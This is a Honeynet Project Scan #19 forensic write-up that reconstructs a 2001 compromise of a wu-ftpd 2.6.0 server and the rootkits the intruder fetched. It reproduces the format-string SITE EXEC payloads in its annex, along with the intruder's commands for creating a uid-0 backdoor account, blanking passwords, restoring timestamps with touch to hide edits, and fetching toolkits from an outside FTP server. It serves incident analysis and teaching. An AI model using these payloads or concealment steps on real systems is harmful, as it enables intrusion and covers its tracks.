Response to the Scan #19 Honeynet Project

So here is my first try to respond at one of the challenge, i hope i my guess is right! However it was fun !!

Tools used: ethereal - tcpdump - gcc - hexdump - man :)


1. Which vulnerability did the intruder exploit?


Log of intrusion:

I used ethereal to read the newdat3.log file in order to have a first overview of the hack.

Following the TCP streams of his telnet/ftp first attempts permits me to have the following conclusion.

Readable dump of involved packets can be found in Annex

The vulnerability:

Detail of vulnerability can be found at: http://www.kb.cert.org/vuls/id/29823 - Vulnerability id: CVE-200-0573

The exploit:

Ok, now that i know which vulnerability he used, i tried to see ( just for fun ) if he has re-invented the wheel or if he used a known exploit. So i decided to search for a discreminated string ( "mmmmnnn" looks good to me) in my internal exploits database:
7530wu-v5.tar.gz from teso was the result. So it seems that the hacker used this exploit which can be found at the following location. http://teso.scene.at/releases/7350wu-v5.tar.gz


2. What ways, and in what order, did the intruder use to connect and run commands on the system?


With ethereal i can see attempts of connections:

Connections :

Some info about scanning activity can be found at dshield site: about 207.35.251.172 Saying that this host has been referenced in their database of scanning host.
Whois results for 207.35.251.172
Whois results for 217.156.93.166

Method to recover commands:

And performed the following commands:
[quentin@localhost tmp]$  tcpdump -r slog2.log udp port 514 -w syslog 
[quentin@localhost tmp]$  testu -f syslog 
[quentin@localhost tmp]$  cat tutu0 | grep 174 

[ I remove telnet commands here ] <174>-sh: HISTORY: PID=9382 UID=0 w <174>-sh: HISTORY: PID=9382 UID=0 whoami <174>-sh: HISTORY: PID=9382 UID=0 cd /dev/rd/sdc0 <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 rm Zer0.tar.gz <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 alias ls='ls --color' <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 passwd nobody <174>-sh: HISTORY: PID=9382 UID=0 ping www.yahoo.com <174>-sh: HISTORY: PID=9382 UID=0 pico /etc/rc.d/rc3.d/S50inet <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 mv copy.tar.gz /usr/X11R6/bin/.,/copy/ <174>-sh: HISTORY: PID=9382 UID=0 cd /usr/X11R6/bin/.,/copy/ <174>-sh: HISTORY: PID=9382 UID=0 mv copy.tar.gz ../ <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 cd .. <174>-sh: HISTORY: PID=9382 UID=0 tar zxvf copy.tar.gz <174>-sh: HISTORY: PID=9382 UID=0 chmod 7777 * <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9382 UID=0 rm copy.tar.gz <174>-sh: HISTORY: PID=9382 UID=0 cd copy <174>-sh: HISTORY: PID=9382 UID=0 chmod 7777 * <174>-sh: HISTORY: PID=9382 UID=0 ls <174>-sh: HISTORY: PID=9440 UID=0 uname -r <174>-sh: HISTORY: PID=9440 UID=0 pstree

The chronological order of commands are shown in this table:

Exploited FTP session

First telnet

Second telnet

Encrypted session

dir
pwd
cd ..
cd doc
dir
cd /tmp
dir
cd /
dir
cd dev
dir
dir
cd /etc/X11/applnk
ls
cd Internet
ls
pwd
passwd nobody -d
w
cd /
mkdir -p /etc/X11/applnk/Internet/.etc
mkdir -p /etc/X11/applnk/Internet/.etcpasswd
touch -acmr /etc/passwd /etc/X11/applnk/Internet/.etcpasswd
touch -acmr /etc /etc/X11/applnk/Internet/.etc
passwd nobody -d
/usr/sbin/adduser dns -d/bin -u 0 -g 0 -s/bin/bash
passwd dns -d
touch -acmr /etc/X11/applnk/Internet/.etcpasswd /etc/passwd
touch -acmr /etc/X11/applnk/Internet/.etc /etc
ls
ls -d
ls -s
ls -a
ls -n
ls -lt
cd etc
ls -lt
cat passwd-
su dns
w
cd /tmp
mc -s
cd /dev/rd
ftp teleport.go.ro [aborted]
mkdir sdc0
cd sdc0
ls
ftp teleport.go.ro
tar zxvf Zer0.tar.gz
cd Zer0
ls
./Go 24
exit
w
whoami
cd /dev/rd/sdc0
ls
rm Zer0.tar.gz
ls
alias ls='ls --color'
ls
ls
passwd nobody
ping www.yahoo.com
pico /etc/rc.d/rc3.d/S50inet
ls
mv copy.tar.gz /usr/X11R6/bin/.,/copy/
cd /usr/X11R6/bin/.,/copy/
mv copy.tar.gz ../
ls
cd ..
tar zxvf copy.tar.gz
chmod 7777 *
ls
rm copy.tar.gz
cd copy
chmod 7777 *
ls
uname -r
pstree

3. How did the intruder try to hide his edits from the MAC times?


The intruder wants to add a dns account ( with uid=0 ) on the server, and remove nobody's password. Editing directly /etc/password without taking care of accessed and modified timestamp could result in a detection of the intrusion. So he decided to hide his edits by restoring MAC times of /etc/passwd and /etc.
The Intruder performs the following commands in order to save the MAC times of the modified files and directories, using the -r option specify reference file, -m and -a will modify respectively modified and acceded timestamp.
Extract from man pages on my system:
   -r ref_file
              Use  the  corresponding  timestamp of ref_file as the new value for
              the changed timestamp(s).

Saving Timestamp

touch -acmr /etc/passwd /etc/X11/applnk/Internet/.etcpasswd
touch -acmr /etc /etc/X11/applnk/Internet/.etc

Then he made his edits:

passwd nobody -d
/usr/sbin/adduser dns -d/bin -u 0 -g 0 -s/bin/bash
passwd dns -d

Then restore the MAC times using the same option of touch:

touch -acmr /etc/X11/applnk/Internet/.etcpasswd /etc/passwd
touch -acmr /etc/X11/applnk/Internet/.etc /etc

Conclusion:

Running simple commands such like:
$ find /etc -mtime -2 -o -atime -2 | xargs ls
Will not result in showing files that have been modified.


4. The intruder downloaded rootkits, what were they called? Are they new/custom rootkits?


ftp server where the rootkits are downloaded is 193.231.236.42
If i look inside the ftp session of the second telnet coonection, i can see the following download: What are these rootkits ?
At this moment i cannot say if these rootkits are new or custom and even if they are really rootkits as i only have names of files... I need to answer to following question, then i will go back here.
First clue: The attacker only installed Zer0.tar.gz, which seems that only this one contain rootkits.
ftp> bbyy  get c oget copyp.y.tatrar..ggzz
Means that he was about quiting when he download the two other files which doesn't seem essential. So i have to focus on the first one

5. Recover (tell how you did it too) the rootkits from the snort binary capture


Recovery Process :

I do not have time to develop a real packet parser, so i first isolate the IP (193.231.236.42) address of the server the rootkit was downloaded from, this parsing done with tcpdump simplifies me the way i dump data from packets as they are all tcp packets. The little C prg can be found in Annex
It is simple but maybe still quite buggy but it generates me three usefull files;)
[quentin@localhost tmp]$ tcpdump -r newdat3.log tcp port 20 and src 193.231.236.42 -w ftp.bin 
[quentin@localhost tmp]$ ll ftp.bin 
-rw-r--r--    1 quentin  users      448595 sep 22 17:28 ftp.bin

well i use hexdump to see what's its structure; 

[quentin@localhost tmp]$ hexdump ftp.bin | more 
0000000 cd34 a1b2 0002 0004 0000 0000 0000 0000
0000010 05ea 0000 0001 0000 46de 3ba5 faad 0007
0000020 004a 0000 004a 0000 0000 0000 0000 0000
0000030 5000 ca56 d811 5000 0318 8039 0008 0045
0000040 3c00 3206 0040 062d 69d7 e7c1 2aec a8c0
0000050 6601 1400 0204 eb61 dfb2 0000 0000 02a0
0000060 d016 40e7 0000 0402 b405 0204 0a08 070c
0000070 edb4 0000 0000 0301 0003 46de 3ba5 fd57
0000080 0009 0042 0000 0042 0000 0000 0000 0000
0000090 0000 5000 ca56 d811 5000 0318 8039 0008
00000a0 0045 3400 3306 0040 062d 70d7 e7c1 2aec
00000b0 a8c0 6601 1400 0204 eb61 e0b2 8686 832b
00000c0 1080 d016 1ae5 0000 0101 0a08 070c fab4
00000d0 c801 fc7c 46de 3ba5 2cf7 000a 0442 0000
00000e0 0442 0000 0000 0000 0000 0000 5000 ca56
00000f0 d811 5000 0318 8039 0008 0045 3404 3406
0000100 0040 062d 6fd3 e7c1 2aec a8c0 6601 1400
0000110 0204 eb61 e0b2 8686 832b 1880 d016 3832
0000120 0000 0101 0a08 070c fab4 c801 fc7c 8b1f
0000130 0008 439b 3ba5 0302 3aec 5809 5713 f6b7
0000140 b5f7 d4d6 9f6a b53e 975a 52cb 9552 40ac
0000150 50a0 c8a4 4526 8296 88a2 9302 b264 3240
0000160 6713 ec26 ad8b ad6d 56bf 6d6b 8aad 5b68
0000170 d4aa d5ba 5285 62b5 567d bfad 220a a22a
0000180 ad2c 8a0b ae20 2e28 bbc0 9937 0484 fa03
[ What do i learn about that hexdump ?? There are 48 (0x30 ) bytes of header before the begining of the first packet dump ( probably timestamp and other stuff ) , and 24 (0x18) bytes between each packet dumps . Well my goal is to code a little C program that will dump tcp data from the stream to a file. ]
[quentin@localhost tmp]$ ./test -f ftp.bin 
[ Then I got the following files: ]
-rw-r--r--    1 quentin  users      139711 sep 22 17:39 titi0
-rw-r--r--    1 quentin  users      265189 sep 22 17:39 titi1
-rw-r--r--    1 quentin  users       14847 sep 22 17:39 titi2
[quentin@localhost tmp]$ file titi0 
titi0: gzip compressed data, deflated, last modified: Mon Sep 17 02:28:11 2001, max compression, os: Unix
[quentin@localhost tmp]$ file titi1 
titi1: gzip compressed data, deflated, last modified: Wed Sep  5 15:06:11 2001, max compression, os: Unix
[quentin@localhost tmp]$ file titi2 
titi2: gzip compressed data, deflated, last modified: Tue Sep  4 05:06:44 2001, max compression, os: Unix
[ Looks good :) ]
[quentin@localhost tmp]$ mv titi0 Zer0.tar.gz 
[quentin@localhost tmp]$ mv titi1 copy.tar.gz 
[quentin@localhost tmp]$ mv titi2 ooty.tar.gz 
[quentin@localhost tmp]$ gzip -dc Zer0.tar.gz | tar tvf - 
drwxrwxr-x george/george     0 2001-09-14 02:00:54 Zer0/
-rwxr-xr-x george/george  9458 2001-09-17 02:26:34 Zer0/Go
-rw-r--r-- george/george 100569 2001-09-09 22:38:11 Zer0/ssh.tgz
-rw-rw-r-- george/george  11364 2001-09-10 11:01:02 Zer0/tls.tgz
-rw-r--r-- george/george  11970 2001-09-13 01:10:57 Zer0/adr.tgz
-rw-r--r-- george/george  11723 2001-09-09 22:43:17 Zer0/adr2.tgz
-rw-r--r-- george/george   2333 2001-09-17 02:27:45 Zer0/adore.h

[quentin@localhost tmp]$ gzip -dc copy.tar.gz | tar tvf - 
drwxr-xr-x virus/virus       0 2001-08-20 14:35:32 copy/
-rwxrwxrwx virus/virus    8268 2001-03-24 21:31:07 copy/mj2
-rwxrwxr-x virus/virus    8268 2001-05-28 19:40:00 copy/mj3
-rwxr-xr-x virus/virus  652030 1999-09-09 14:50:09 copy/ssh
drwxrwxr-x virus/virus       0 2001-09-05 15:05:39 copy/smrf/
-rwxr-xr-x virus/virus   22846 2001-06-16 14:44:00 copy/smrf/smrf5
-rw-r--r-- virus/virus    1470 2001-09-05 15:04:04 copy/smrf/smurf.ips
-rwxrwxr-- virus/virus     128 2001-08-18 09:37:28 copy/root_them
-rwxrwxr-- virus/virus   12166 2001-06-21 19:25:00 copy/process_list
-rwxrwxrwx virus/virus   12847 2001-02-16 13:07:00 copy/generate
-rwxrwxr-x virus/virus   27682 2001-08-18 09:38:43 copy/suu.tgz
-rwxrwxr-x virus/virus   14365 2001-08-14 04:34:56 copy/genmass
-rwxr-xr-x virus/virus  100158 2001-06-22 03:19:00 copy/zxploit
-rwxrwxrwx virus/virus   15121 2001-01-19 14:09:21 copy/wu-scan

[quentin@localhost tmp]$ gzip -dc ooty.tar.gz | tar tvf - 
drwxrwxr-x virus/virus       0 2001-09-04 05:06:12 ooty/
-rw-rw-r-- virus/virus     438 2001-06-28 07:16:50 ooty/CrOn
-rw-r--r-- virus/virus    6100 2001-05-30 02:14:17 ooty/motd
-rwxrwxr-x virus/virus   11894 2001-06-28 07:18:21 ooty/sush
-rwxr-xr-x virus/virus     460 2001-05-30 02:14:17 ooty/bindpar.x
-rw-rw-r-- virus/virus      81 2001-06-28 07:18:19 ooty/bighole.c
-rwxr-xr-x virus/virus      58 2001-06-28 07:18:19 ooty/flare
crw--w---- virus/tty     136,2 2001-09-04 05:06:44 ooty/none ~!bighole 
-rwxr-xr-x virus/virus   13548 2001-05-30 02:14:17 ooty/crontab.x
-rwxr-xr-x virus/virus    1791 2001-05-30 02:14:17 ooty/mail.x
-rwxr-xr-x virus/virus    2141 2001-05-30 02:14:17 ooty/perl.x
-rwxr-xr-x virus/virus    1332 2001-05-30 02:14:17 ooty/prlnx.sh
-rwxrwxr-x virus/virus   12025 2001-06-28 07:18:20 ooty/bighole
-rwxr-xr-x virus/virus   14428 2001-05-30 02:14:17 ooty/kernel.x
[ Got it :) The fist one looks like rootkits, the two others xploits ]

Focusing on Zer0.tar.gz: ( back to the response to Question # 4 )

Now i can answer to the previous question. It strongly looks like t0rnkit and adore rootkits ( maybe slightly customized, further investigation is needed )
First of all, get some information about t0rnkit at CERT site IN-2000-10.htm


Here is an extract of the Cert


't0rnkit' rootkit

Since May of 2000, we have observed more than six different versions of a rootkit being called 't0rnkit', or 'tornkit'. Rootkits are not a new idea and have been employed by intruders for several years. The important thing here is to be aware of the widespread nature of this particular activity and to insure compromised hosts are recovered using appropriate procedures and techniques. Various versions of 't0rnkit' include an installation script which attempts many of the following things

Most versions also include a trojan horse version of tcp_wrappers in RPM format named 'tcpd.rpm'. There is strong evidence that 't0rnkit' is undergoing active development at the time of this writing, so the exact composition of the rootkit may vary from this description over time.

End of Extract



In my opinion, the version of the rootkit used is slightly different from this description, maybe the Intruder developped a customized version of this rootkit, or it is a newer version.
Downloading a t0rnkit from internet do not give me further clue. All version seems quite different from each other.
If i compare the install script "Go" with the "t0rn" one downloaded with t0rnkit, it looks like there are some evidence of a common development:

Description of the Installed rootkit :

The Intruder install toolkit running the "Go" script. So it will be the start of the investigation.
This script could be splitted into several parts without getting in deep details:

6. What does the rootkit do to hide the presence of the attacker on the system?


To my opinion, the rootkit performs the following to hide the presence of the attacker: I may have missed some ..

7.What did you learn from this exercise?


A lot of think:) Including writing small buggy C prg in less than 10 minutes, internal tcpdump format file, some usefull tools and some usefull information about rootkits.

8. How long did this challenge take you?


Too much time , i think !! It consume me nearly 13 hours - ( redaction included ) !

Annex


FTP session ( exploitation of wu-ftpd 2.6.0)

220 ns1 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS mozilla@
230 Guest login ok, access restrictions apply.
SITE EXEC %020d|%.f%.f|
200-00000000000000000049|0-2|
200  (end of '%020d|%.f%.f|')
SITE EXEC 7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|
200-7 mmmmnnnn-2-2000-2000000000000000000000000000000000nan00000000-200000000000000000000000000000000000000000000000000000000000000000000000000-2-240nan|bfffdc7e|00000000|
200  (end of '7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|')
SITE EXEC 7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|
200-7 mmmmnnnn-2-2000-2000000000000000000000000000000000nan00000000-200000000000000000000000000000000000000000000000000000000000000000000000000-2-240nan0|bfffdaf8|400be7ed|
200  (end of '7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|')
SITE EXEC 7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|
200-7 mmmmnnnn-2-2000-2000000000000000000000000000000000nan00000000-200000000000000000000000000000000000000000000000000000000000000000000000000-2-240nan03|bfffdaf8|400c128b|
200  (end of '7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|')
SITE EXEC 7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|
200-7 mmmmnnnn-2-2000-2000000000000000000000000000000000nan00000000-200000000000000000000000000000000000000000000000000000000000000000000000000-2-240nan034|bfffdb48|401671ec|
200  (end of '7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|')
SITE EXEC 7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|
200-7 mmmmnnnn-2-2000-2000000000000000000000000000000000nan00000000-200000000000000000000000000000000000000000000000000000000000000000000000000-2-240nan0346|bfffdb48|bfffdc5a|
200  (end of '7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|')
SITE EXEC 7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|
200-7 mmmmnnnn-2-2000-2000000000000000000000000000000000nan00000000-200000000000000000000000000000000000000000000000000000000000000000000000000-2-240nan0346-2|bfffdc5e|00000000|
200  (end of '7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|')
SITE EXEC 7 mmmmnnnn%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f%.f|%08x|%08x|
